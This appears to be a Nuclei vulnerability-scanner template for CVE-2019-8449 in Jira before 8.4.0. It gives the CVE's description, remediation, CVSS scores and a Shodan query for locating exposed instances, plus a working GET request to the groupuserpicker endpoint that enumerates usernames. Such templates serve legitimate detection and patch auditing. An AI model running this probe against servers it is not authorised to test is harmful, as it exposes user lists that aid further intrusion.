id: CVE-2019-8449 info: name: Jira <8.4.0 - Information Disclosure author: harshbothra_ severity: medium description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | An attacker can exploit this vulnerability to gain access to sensitive information. remediation: | Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability. reference: - https://www.doyler.net/security-not-included/more-jira-enumeration - https://jira.atlassian.com/browse/JRASERVER-69796 - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2019-8449 cwe-id: CWE-306 epss-score: 0.24444 epss-percentile: 0.96164 cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: atlassian product: jira shodan-query: http.component:"Atlassian Jira" tags: atlassian,jira,disclosure,packetstorm,cve,cve2019 http: - method: GET path: - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true' matchers-condition: and matchers: - type: word part: body words: - '{"users":{"users":' - type: status status: - 200 # digest: 4a0a004730450221008c3e13543524a81d0faef816767fa304815e6349aede5cab5d73cb3b91a67a62022043f7c51ed41be8a7021c0728351958c08fed1ea915fa541cdd2fd3489d385977:922c64590222798bb761d5b6d8e72950